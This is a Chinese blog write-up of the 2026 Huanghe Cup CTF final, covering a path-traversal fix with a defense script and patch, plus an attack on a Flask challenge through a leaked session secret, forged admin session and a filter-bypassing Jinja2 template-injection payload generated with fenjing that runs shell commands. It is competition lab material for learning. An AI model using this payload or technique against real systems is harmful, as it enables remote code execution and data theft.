2026黄鹤杯决赛wp

本文最后更新于 2026年10月17日 下午

前言

第一次线下打AWDP这种模式的比赛,解出了web1的防御和web2的攻击。攻击部分和CTF解题差不多,防御部分是要求上传一个防御包,随后执行其中的update.sh脚本。由于比赛四个小时分成了8轮,防御每轮都会进行加分,所以早做防御后期滚雪球分数会变得很高,可惜由于经验不足一开始光顾着攻击了,并且web2的flag一交就没法开环境了,不然防御部分应该也能做出来的。

第二天的RW部分也比较抽象,真的实物挖掘,并且操作权限有限。我们选的是奥创的奇迹3无人机,还好小厂出品毛病还是不少的,给ds烧了点钱挖出来了命令执行漏洞。

车联网安全运维中心

防御

扫目录,.env有结果

1
2
3
4
FLAG_PATH=/secret
BOOK_ROOT=/app/data/books
PREVIEW_PREFIX=preview/
APP_MODE=prod

探测发现在/api/books/obu/preview?file=有目录穿越和文件读取漏洞,在读取文件之前加一个目录解析然后判断是否为安全目录即可

update.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash

# 1. 定义目标路径(根据题目,应用目录是 /app/app)
# 请务必确认你的 Python 程序在容器里的准确位置
TARGET_DIR="/app/app"
PATCH_SOURCE="/patch.py"

echo "Starting defense update..."

# 2. 检查防御文件是否存在 (防止因解压异常导致脚本报错)
if [ -f "$PATCH_SOURCE" ]; then
# 3. 使用【绝对路径】执行复制操作
# 注意:这里必须是从 / 开始的完整路径
cp "$PATCH_SOURCE" "$TARGET_DIR/patch.py"

# 如果需要覆盖原有的逻辑文件,也请使用绝对路径
# cp "$PATCH_SOURCE" "/app/app/main.py"

echo "Success: Patch deployed to $TARGET_DIR"
else
echo "Error: Source patch file not found in root!"
exit 1
fi

echo "Update complete."

patch.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os

# 模拟原有的读取函数,加入安全补丁
def secure_load_preview(user_input_file, base_dir="/app/data/books/obu"):
# 1. 获取绝对路径并标准化 (消除 ../)
requested_path = os.path.abspath(os.path.join(base_dir, "preview", user_input_file))
safe_base_dir = os.path.abspath(base_dir)

# 2. 核心防御:检查解析后的路径是否仍在安全目录下
if not requested_path.startswith(safe_base_dir):
raise PermissionError("Security Alert: Attempted Path Traversal detected!")

# 3. 如果校验通过,执行读取逻辑
try:
with open(requested_path, 'r') as f:
return f.read()
except Exception as e:
return str(e)

print("Patch applied successfully.")

攻击

前面提到了路径穿越和文件读取漏洞,但是题目在这里做了限制,file=后面的内容必须是preview/开头、md或者txt结尾,这里就不知道要怎么绕过了。

镜中人

攻击

根据题目描述,可以判断和SSTI有关。进去要求输入名字,之后会回显这个name但是并没有出现渲染,下面有一个admin panel的超链接,点进去提示权限不够,结合本题的环境是flask,可以推测是jwt伪造。

在原始jwt的header中泄露了secret_key

1
Th1s&1S*Hhb2026$#

使用flask-session-cookie-manager进行伪造

image-20261015165555398

用这个jwt访问/admin提示在/hi有一些内容,进去之后是app.py的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/hi')
def source():
source_file = open(file, 'r', encoding='utf-8')
file_content = source_file.read()
source_file.close()
source_snippet = file_content[file_content.index("@app.route('/hi')"):]
return render_template('source.html', code=source_snippet)

@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return render_template('admin.html', hacker=True,
role_type=type(session.get('role')).name)

if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag_raw = flag
flag = filter(flag)
message = "(ˊᗜˋ),%s" % flag
try:
result = render_template_string(message, request=None)
except Exception:
result = render_template_string("(ˊᗜˋ),{{flag}}", flag=flag, request=None)
admin_hint = "This is an important piece of content: /hi"
return render_template('admin.html', flag_result=result,
role=role, filtered=(flag_raw != flag),
admin_hint=admin_hint)
else:
return render_template('admin.html', denied=True, role=role)

if name == 'main':
app.run('0.0.0.0', port=9000)

在session里读取了flag变量然后进行渲染,经过一波测试发现过滤了一些内容,上fenjing一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = ['.',"'",'"','[',']','_','1','2','3','4','5','6','7','8','9','0','nl','fl','ca','ta']
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls /app/secret.py")
# config_payload = config_payload(waf)

print(f"{shell_payload=}")
# print(f"{config_payload=}")

payload

1
{%set ne=dict(NEXT=i)|first|lower%}{%set gl=dict(GLOBALS=i)|first|lower%}{%set gt=dict(GET=i)|first|lower%}{%set os=dict(OS=i)|first|lower%}{%set po=dict(POPEN=i)|first|lower%}{%set re=dict(READ=i)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ms=bb+la+la+la%}{%set kf=la+la%}{%set rk=la+la+la+la+la%}{%set ye=bb+la+la%}{%set pt=la+la+la+la%}{%set np=bb+la%}{%set ug=la+la+la%}{%set co=e|slice(((kf)*(ms)+rk))|string|batch(((kf)*(ms)+rk))|first|last%}{%set jo=(lipsum()|urlencode|first)%}{%set hi=jo+dict(c=i)|join%}{%set ls=(hi*(lla+bb))%((lla+la)*(ms),(((kf)*(ms)+rk))*(rk),(ye)*(pt),((rk)*(ms)+kf),((ms+la)*(ms)+np),(lla+ug)*(ye),(lla+ug)*(ye),((rk)*(ms)+kf),(((kf)*(ms)+rk))*(rk),((lla)*(ms)+kf),(lla)*(ms),(lla+ye)*(bb),((lla)*(ms)+kf),(((ug)*(ms)+kf))*(pt),((rk)*(ms)+la),(lla+ug)*(ye),(lla)*(lla))%}{{cycler|attr(ne)|attr(co+co+gl+co+co)|attr(gt)(os)|attr(po)(ls)|attr(re)()}}

image-20261015152845244

防御

由于提交flag之后就没法启动实例了,所以这里我不太清楚目录结构,防御部分没成功。

filter过滤函数是写在secret.py中的,所以我的思路就是给过滤函数的黑名单里面加上[]()这样就没法模板注入了。我也不太清楚这里到底想让我修什么,是把jwt中header泄露的secret_key删掉还是在ssti的那块做加固。懂的师傅可以在评论区交流一下。


2026黄鹤杯决赛wp
https://www.sunynov.top/2026/10/17/2026黄鹤杯决赛wp/
作者
suny
发布于
2026年10月17日
许可协议